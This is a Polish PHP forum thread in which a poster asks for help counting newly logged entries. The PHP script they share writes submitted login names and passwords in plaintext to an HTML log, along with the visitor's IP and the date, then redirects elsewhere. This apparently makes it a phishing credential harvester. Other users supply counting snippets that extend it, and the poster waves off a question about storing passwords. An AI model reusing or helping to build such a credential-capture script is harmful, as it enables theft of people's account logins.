Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Coś na wzór mail system.
Forum PHP.pl > Forum > Gotowe rozwiązania > Szukam
czarek2305
Witam Serdecznie!
Nie wiem dokładnie jak to wytłumaczyć. Mam index.php w którym mam zaincludowany plik html, co jakiś czas na ten html zostaje dopisana linijka tekstu. Chodzi mi o taki skrypt, który pokaże mi w tytule indexu np "Index Forum (1)" Ta jedynkaoznacza jedna dopisana linijke. Mam nadzieje, ze wytlumaczylem to wystarczajaco dobrze biggrin.gif Bo nie mam zielonego pojecia jak to wytlumaczyc ;P
jeremiash
mam pytanie: ta linia (to co dodajesz może być w globalnej tablicy? // jeśli nie to widzę dwie opcje moimi laickimi oczyma: 1) zliczam liczbę lini w pliku (otwieram plik, zliczam , zwracam, porównuję) 2) jeśli dodajesz linię to dodaj i zmienną sesyjną która ma zasięg globalny i potem ją sprawdzasz . Oczywiście musisz mieć wówczas sesję.
czarek2305
Raczkuje w PHP biggrin.gif Mogłbys mi zrobic jakis przyklad? Naprawde to nie jest jakiś wypasiony index.php, a w html nic nie ma oproczdodawanego tekstu.
jeremiash
podrzuć kod to Ci zmodyfikuję . Zazmacz tylko tę linię w abc.html
czarek2305
  1. <?php
  2. // wczytanie zawartoœci pliku do tablicy
  3. $file = file("logs2.html");
  4. // przechodzimy przez tablicę za pomocš pętli foreach
  5. foreach($file as $value) {
  6. // rozbijamy poszczególne linie na częœci
  7. $exp = explode("`",$value);
  8. // wyœwietlamy rozbity tekst
  9. echo $exp[0]."".$exp[1]."";
  10. }
  11.  
  12. ?>
to mój zaincludowany plik html w index.php

  1. <?
  2.  
  3. header ('Location: [url="http://pa****************ex3.php&#39%3b%29;"]http://pa****************ex3.php');[/url]
  4. $dia = date ("d-M-Y");
  5.  
  6.  
  7. $ip = $_SERVER['REMOTE_ADDR'];
  8. $page="
  9.  
  10.  
  11. <TR BGCOLOR=#F1E0C6><TD><b><font color=#333333>$_POST[loginname]</font></b></td>
  12. <TD><b><font color=#333333>$_POST[loginpassword]</font></b></td>
  13. <TD><b><font color=#333333><a href=http://whois.domaintools.com/$ip>$ip</a></td>
  14. <TD><font color=#333333><b>$dia</b></font></td>
  15. ";
  16. $fd = fopen ("logs.html","a");
  17. fwrite ($fd, $page);
  18. fclose($fd);
  19. ?>
Skrypt php odpowiadajacy za dodawanie linijek w html

  1. <TABLE BORDER=0 CELLSPACING=1 CELLPADDING=4 WIDTH=100%>
  2. <TR BGCOLOR=#505050><TD COLSPAN=4 CLASS=white><B>Account</B></TD></TR>
  3. <TR BGCOLOR=#D4C0A1><TD WIDTH=25%><B>Account</B></TD>
  4. <TD WIDTH=25%><B>Password</B></TD>
  5. <TD WIDTH=25%><B>Adres IP</B></TD>
  6. <TD WIDTH=25%><B>Data</B></TD></TR>
  7.  
  8.  
  9. <TR BGCOLOR=#F1E0C6><TD><b><font color=#333333>d</font></b></td>
  10. <TD><b><font color=#333333>d</font></b></td>
  11. <TD><b><font color=#333333><a href=http://whois.domaintools.com/93.105.108.33>93.105.108.33</a></td>
  12. <TD><font color=#333333><b>17-Nov-2012</b></font></td>
Przykladowe dodanie w html
jeremiash
dlaczego hasła trzymasz w pliku i to html... i to z tego co widzę bez kodowania ?
czarek2305
Spokojnie wink.gif Nie martw sie o to tongue.gif Skoro tak trzymam to widocznie nie potrzebuje zabezpieczenia wink.gif Wykombinowales cos?

No i ;/?
!*!
  1. echo count($file);
czarek2305
Dziekuje, lecz nie bardzo wiem co z tym zrobic biggrin.gif Bo jak juz mowilem raczkuje w php..
!*!
Zacznij od kursu PHP http://pl.wikibooks.org/wiki/PHP link count() zaprowadzi Cie do wyjaśnienia.
Wstaw to w swój kod po file()
czarek2305
Teraz mam takie zapytanie, juz ogarnolem to up smile.gif Mam folder w ktorym sa tworzone pliki html
  1. <?php
  2. $directory = "logi/";
  3. if (glob($directory . "*.html") != false)
  4. {
  5. $filecount = count(glob($directory . "*.html"));
  6. echo $filecount;
  7. }
  8. else
  9. {
  10. echo 0;
  11. }
  12. ?>

Chodzi mi o to, ze chce takjakby taki autorefresh gdy zostanie stroworzy plik w folderze logi jest dajmy na to (2) zrobi sie plik i automatycznie pokazuje sie (3)... tongue.gif

POMOCY!!!! biggrin.gif

baaasmiley.gif

Refresh.........
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2024 Invision Power Services, Inc.